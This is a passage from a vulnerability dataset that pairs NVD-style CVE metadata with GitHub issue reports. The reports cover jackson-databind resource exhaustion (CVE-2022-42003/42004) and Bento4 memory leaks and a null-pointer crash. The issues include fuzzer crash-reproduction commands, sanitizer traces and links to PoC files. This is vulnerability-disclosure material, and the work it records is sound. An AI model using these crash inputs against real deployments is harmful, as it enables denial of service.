cmake -DCMAKE_BUILD_TYPE=Release ..
make
```
# POC
[crash.zip](https://github.com/axiomatic-systems/Bento4/files/9638201/crash.zip)
# Credit
Yuhang Huang ([NCNIPC of China](http://www.nipc.org.cn/)),(Zhongguancun Laboratory)
Han Zheng ([NCNIPC of China](http://www.nipc.org.cn/), [Hexhive](http://hexhive.epfl.ch/)),(Zhongguancun Laboratory)
Yin li,Jiayu Zhao([NCNIPC of China](http://www.nipc.org.cn/)),(Zhongguancun Laboratory)
# Notice
I find the two bugs not only exist in latest branch but also exist in latest release version Bento4-1.6.0-639.
The bug1 is similar to the issuse#363([CVE-2019-8378](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8378)),which means this bug hasn't been fixed now.
Thanks for your time!
|
there are some bugs in Bento4
|
https://api.github.com/repos/axiomatic-systems/Bento4/issues/775/comments
| 0 |
2022-09-24T07:42:46Z
|
2023-06-26T06:38:57Z
|
https://github.com/axiomatic-systems/Bento4/issues/775
| 1,384,568,694 | 775 |
CVE-2022-42003
|
2022-10-02T05:15:09.070
|
In FasterXML jackson-databind before versions 2.13.4.1 and 2.12.17.1, resource exhaustion can occur because of a lack of a check in primitive value deserializers to avoid deep wrapper array nesting, when the UNWRAP_SINGLE_VALUE_ARRAYS feature is enabled.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Mailing List",
"Patch",
"Third Party Advisory"
],
"url": "https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=51020"
},
{
"source": "[email protected]",
"tags": [
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/FasterXML/jackson-databind/commit/d78d00ee7b5245b93103fef3187f70543d67ca33"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/FasterXML/jackson-databind/issues/3590"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.debian.org/debian-lts-announce/2022/11/msg00035.html"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://security.gentoo.org/glsa/202210-21"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://security.netapp.com/advisory/ntap-20221124-0004/"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://www.debian.org/security/2022/dsa-5283"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:fasterxml:jackson-databind:*:*:*:*:*:*:*:*",
"matchCriteriaId": "0848F177-1977-4C9C-B91A-7374FF25F335",
"versionEndExcluding": "2.12.7.1",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:fasterxml:jackson-databind:*:*:*:*:*:*:*:*",
"matchCriteriaId": "A2BBD219-927A-40F3-9AFE-C6A8E7F3E26B",
"versionEndExcluding": "2.13.4.1",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": "2.13.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:quarkus:quarkus:*:*:*:*:*:*:*:*",
"matchCriteriaId": "DA172A0D-FB5E-4754-BB9F-3DEC3366E6F8",
"versionEndExcluding": "2.13.3",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*",
"matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*",
"matchCriteriaId": "FA6FEEC2-9F11-4643-8827-749718254FED",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:netapp:oncommand_workflow_automation:-:*:*:*:*:*:*:*",
"matchCriteriaId": "5735E553-9731-4AAC-BCFF-989377F817B3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/FasterXML/jackson-databind/issues/3590
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"FasterXML",
"jackson-databind"
] |
TL;DNR:
Fix included in:
* 2.14.0 once released (until then, 2.14.0-rc1 and rc2)
* 2.13.4.2 micro-patch (jackson-bom 2.13.4.20221013). (NOTE: 2.13.4.1/2.13.4.20221012 have an issue that affects Gradle users)
* 2.12.7.1 micro-patch (jackson-bom 2.12.7.20221012)
-----
(note: similar to #3582 )
(note: originally found via oss-fuzz https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=51020)
Implementation of methods like `_parseBooleanPrimitive` (in `StdDeserializer`) uses idiom:
```
if (ctxt.isEnabled(DeserializationFeature.UNWRAP_SINGLE_VALUE_ARRAYS)) {
p.nextToken();
final boolean parsed = _parseBooleanPrimitive(p, ctxt);
_verifyEndArrayForSingle(p, ctxt);
return parsed;
}
```
to handle unwrapping. While simple this exposes possibility of "too deep" nesting and possible problem with resource exhaustion in some cases. We should change this similar to how #3582 was handled.
|
Add check in primitive value deserializers to avoid deep wrapper array nesting wrt `UNWRAP_SINGLE_VALUE_ARRAYS` [CVE-2022-42003]
|
https://api.github.com/repos/FasterXML/jackson-databind/issues/3590/comments
| 44 |
2022-09-06T00:30:48Z
|
2022-10-19T23:09:52Z
|
https://github.com/FasterXML/jackson-databind/issues/3590
| 1,362,567,066 | 3,590 |
CVE-2022-42004
|
2022-10-02T05:15:09.237
|
In FasterXML jackson-databind before 2.13.4, resource exhaustion can occur because of a lack of a check in BeanDeserializer._deserializeFromArray to prevent use of deeply nested arrays. An application is vulnerable only with certain customized choices for deserialization.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Mailing List",
"Patch",
"Third Party Advisory"
],
"url": "https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=50490"
},
{
"source": "[email protected]",
"tags": [
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/FasterXML/jackson-databind/commit/063183589218fec19a9293ed2f17ec53ea80ba88"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/FasterXML/jackson-databind/issues/3582"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.debian.org/debian-lts-announce/2022/11/msg00035.html"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://security.gentoo.org/glsa/202210-21"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://security.netapp.com/advisory/ntap-20221118-0008/"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://www.debian.org/security/2022/dsa-5283"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:fasterxml:jackson-databind:*:*:*:*:*:*:*:*",
"matchCriteriaId": "0848F177-1977-4C9C-B91A-7374FF25F335",
"versionEndExcluding": "2.12.7.1",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:fasterxml:jackson-databind:*:*:*:*:*:*:*:*",
"matchCriteriaId": "2BB48E8E-EB2F-46D1-BD98-982FB3528273",
"versionEndExcluding": "2.13.4",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": "2.13.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:quarkus:quarkus:*:*:*:*:*:*:*:*",
"matchCriteriaId": "5CA36870-3A63-428D-BC49-4924FF75FAAD",
"versionEndExcluding": "2.13.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*",
"matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*",
"matchCriteriaId": "FA6FEEC2-9F11-4643-8827-749718254FED",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:netapp:oncommand_workflow_automation:-:*:*:*:*:*:*:*",
"matchCriteriaId": "5735E553-9731-4AAC-BCFF-989377F817B3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/FasterXML/jackson-databind/issues/3582
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"FasterXML",
"jackson-databind"
] |
Fix included in
* 2.13.4
* 2.12.7.1 micro-patch (jackson-bom 2.12.7.20221012)
----
(note: found by oss-fuzz, see: https://bugs.chromium.org/p/oss-fuzz/issues)
Currently feature `DeserializationFeature.UNWRAP_SINGLE_VALUE_ARRAYS` is supported by most types, and deserializers tend to implement support using recursion, effectively allowing multiple nested layers of JSON Arrays to be unwrapped.
This is not a feature to support but just an implementation detail; ideally we should only allow a single JSON Array to wrap a value.
I think I have removed ability for deeper nesting from some other types so there may be some prior art.
|
Add check in `BeanDeserializer._deserializeFromArray()` to prevent use of deeply nested arrays [CVE-2022-42004]
|
https://api.github.com/repos/FasterXML/jackson-databind/issues/3582/comments
| 28 |
2022-08-24T03:17:04Z
|
2023-08-10T09:01:37Z
|
https://github.com/FasterXML/jackson-databind/issues/3582
| 1,348,789,667 | 3,582 |
CVE-2022-41419
|
2022-10-03T14:15:22.013
|
Bento4 v1.6.0-639 was discovered to contain a memory leak via the AP4_Processor::Process function in the mp4encrypt binary.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/766"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:1.6.0-639:*:*:*:*:*:*:*",
"matchCriteriaId": "A003FBD1-339C-409D-A304-7FEE97E23250",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/axiomatic-systems/Bento4/issues/766
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"axiomatic-systems",
"Bento4"
] |
# Summary
Hi, developers of Bento4:
I tested the binary mp4encrypt, and a crash incurred, i.e., memory leaks error. The version of Bento4 is the latest (the newest master branch) and the operation system is Ubuntu 18.04.6 LTS (docker). The following is the details.
# Details
```
root@c08635047aea:/fuzz-mp4encrypt/mp4encrypt# ./mp4encrypt --method MARLIN-IPMP-ACBC ../out/crashes/id\:000007\,sig\:06\,src\:000001\,op\:flip1\,pos\:14136\,934837 /dev/null
WARNING: track ID 1 will not be encrypted
WARNING: atom serialized to fewer bytes than declared size
=================================================================
==3055140==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 104 byte(s) in 1 object(s) allocated from:
#0 0x9a1c90 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7fda31f4c297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x64923f in AP4_Processor::Process(AP4_ByteStream&, AP4_ByteStream&, AP4_ByteStream*, AP4_Processor::ProgressListener*, AP4_AtomFactory&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x64923f)
#3 0x42128c in main (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x42128c)
#4 0x7fda31110c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 3328 byte(s) in 2 object(s) allocated from:
#0 0x9a1c90 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7fda31f4c297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x5b2921 in AP4_MarlinIpmpEncryptingProcessor::Initialize(AP4_AtomParent&, AP4_ByteStream&, AP4_Processor::ProgressListener*) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x5b2921)
#3 0x64923f in AP4_Processor::Process(AP4_ByteStream&, AP4_ByteStream&, AP4_ByteStream*, AP4_Processor::ProgressListener*, AP4_AtomFactory&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x64923f)
#4 0x42128c in main (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x42128c)
#5 0x7fda31110c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 1024 byte(s) in 1 object(s) allocated from:
#0 0x9a1c90 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7fda31f4c297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x8b62f9 in AP4_Expandable::Write(AP4_ByteStream&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x8b62f9)
#3 0x5b2540 in AP4_MarlinIpmpEncryptingProcessor::Initialize(AP4_AtomParent&, AP4_ByteStream&, AP4_Processor::ProgressListener*) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x5b2540)
#4 0x64923f in AP4_Processor::Process(AP4_ByteStream&, AP4_ByteStream&, AP4_ByteStream*, AP4_Processor::ProgressListener*, AP4_AtomFactory&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x64923f)
#5 0x42128c in main (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x42128c)
#6 0x7fda31110c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 224 byte(s) in 5 object(s) allocated from:
#0 0x9a1c90 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7fda31f4c297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x64923f in AP4_Processor::Process(AP4_ByteStream&, AP4_ByteStream&, AP4_ByteStream*, AP4_Processor::ProgressListener*, AP4_AtomFactory&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x64923f)
#3 0x42128c in main (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x42128c)
#4 0x7fda31110c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
SUMMARY: AddressSanitizer: 4680 byte(s) leaked in 9 allocation(s).
```
# POC
[mp4encrypt_poc1.zip](https://github.com/axiomatic-systems/Bento4/files/9603334/mp4encrypt_poc1.zip)
# Environment
Ubuntu 18.04.6 LTS (docker)
clang 12.0.1
clang++ 12.0.1
Bento4 master branch(5b7cc25) && Bento4 release version([1.6.0-639](https://www.bok.net/Bento4/binaries/Bento4-SDK-1-6-0-639.x86_64-unknown-linux.zip))
# Credit
Xudong Cao ([NCNIPC of China](http://www.nipc.org.cn/)), (Zhongguancun Laboratory)
Han Zheng ([NCNIPC of China](http://www.nipc.org.cn/), [Hexhive](http://hexhive.epfl.ch/)), (Zhongguancun Laboratory)
Thank you for your time!
|
Detected memory leaks in mp4encrypt
|
https://api.github.com/repos/axiomatic-systems/Bento4/issues/766/comments
| 0 |
2022-09-20T01:45:02Z
|
2023-06-26T05:57:20Z
|
https://github.com/axiomatic-systems/Bento4/issues/766
| 1,378,706,570 | 766 |
CVE-2022-41423
|
2022-10-03T14:15:22.743
|
Bento4 v1.6.0-639 was discovered to contain a segmentation violation in the mp4fragment component.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/767"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:1.6.0-639:*:*:*:*:*:*:*",
"matchCriteriaId": "A003FBD1-339C-409D-A304-7FEE97E23250",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/axiomatic-systems/Bento4/issues/767
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"axiomatic-systems",
"Bento4"
] |
# Summary
Hi there, I use my fuzzer for fuzzing the binary mp4fragment, the version of Bento4 is the latest (the newest master branch) and the operation system is Ubuntu 18.04.6 LTS (docker) and this binary crashes with the following.
# Details
```
root@4e3b7f9edc0d:/mp4box/mp4fragment# ./mp4fragment ../out/crashes/id\:000000\,sig\:06\,src\:000008\,op\:flip1\,pos\:31325\,4970731 /dev/null
unable to autodetect fragment duration, using default
AddressSanitizer:DEADLYSIGNAL
=================================================================
==750986==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f5fc13c0306 bp 0x7ffe16f62f30 sp 0x7ffe16f626c8 T0)
==750986==The signal is caused by a READ memory access.
==750986==Hint: address points to the zero page.
#0 0x7f5fc13c0306 (/lib/x86_64-linux-gnu/libc.so.6+0xb1306)
#1 0x94da2c in __interceptor_strlen.part.36 /llvm-project/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:370
#2 0x6ec0c2 in AP4_TrakAtom::AP4_TrakAtom(AP4_SampleTable*, unsigned int, char const*, unsigned int, unsigned long long, unsigned long long, unsigned long long, unsigned int, unsigned long long, unsigned short, char const*, unsigned int, unsigned int, unsigned short, unsigned short, int const*) (/mp4box/mp4fragment/mp4fragment+0x6ec0c2)
#3 0x432bbc in main (/mp4box/mp4fragment/mp4fragment+0x432bbc)
#4 0x7f5fc1330c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#5 0x407cd9 in _start (/mp4box/mp4fragment/mp4fragment+0x407cd9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xb1306)
==750986==ABORTING
```
# POC
[POC-Mp4fragment-1.zip](https://github.com/axiomatic-systems/Bento4/files/9617496/POC-Mp4fragment-1.zip)
# Environment
Ubuntu 18.04.6 LTS (docker)
clang 12.0.1
clang++ 12.0.1
Bento4 master branch(5b7cc25) && Bento4 release version([1.6.0-639](https://www.bok.net/Bento4/binaries/Bento4-SDK-1-6-0-639.x86_64-unknown-linux.zip))
# Credit
Xudong Cao ([NCNIPC of China](http://www.nipc.org.cn/)), (Zhongguancun Laboratory)
Jiayuan Zhang ([NCNIPC of China](http://www.nipc.org.cn/)), (Zhongguancun Laboratory)
Han Zheng ([NCNIPC of China](http://www.nipc.org.cn/), [Hexhive](http://hexhive.epfl.ch/))
Thank you for your time!
|
From mp4fragment: SEGV on unknown address 0x000000000000
|
https://api.github.com/repos/axiomatic-systems/Bento4/issues/767/comments
| 0 |
2022-09-21T14:23:53Z
|
2023-06-26T05:26:52Z
|
https://github.com/axiomatic-systems/Bento4/issues/767
| 1,381,022,528 | 767 |
CVE-2022-41424
|
2022-10-03T14:15:23.097
|
Bento4 v1.6.0-639 was discovered to contain a memory leak via the AP4_SttsAtom::Create function in mp42hls.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/768"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:1.6.0-639:*:*:*:*:*:*:*",
"matchCriteriaId": "A003FBD1-339C-409D-A304-7FEE97E23250",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/axiomatic-systems/Bento4/issues/768
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"axiomatic-systems",
"Bento4"
] |
# Summary
Hi there, I tested the binary mp42hls, the version of Bento4 is the latest (the newest master branch) and the operation system is Ubuntu 18.04.6 LTS (docker) and this binary crash with the following.
# Details
```
root@2e47aa8b3277:/test_mp42hls# ./mp42hls --audio-track-id 2 ./mp42hls\-poc\-1
ERROR: audio track ID 2 not found
=================================================================
==4379==ERROR: LeakSanitizer: detected memory leaks
Indirect leak of 512 byte(s) in 1 object(s) allocated from:
#0 0x9def30 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f476f32e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x6d951f in AP4_SttsAtom::Create(unsigned int, AP4_ByteStream&) (/test_mp42hls/mp42hls+0x6d951f)
#3 0x4bb0c3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4bb0c3)
#4 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#5 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#6 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#7 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#8 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#9 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#10 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#11 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#12 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#13 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#14 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#15 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#16 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#17 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#18 0x4fedeb in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fedeb)
Indirect leak of 324 byte(s) in 1 object(s) allocated from:
#0 0x9def30 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f476f32e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x6d10ef in AP4_StszAtom::Create(unsigned int, AP4_ByteStream&) (/test_mp42hls/mp42hls+0x6d10ef)
#3 0x4bae13 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4bae13)
#4 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#5 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#6 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#7 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#8 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#9 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#10 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
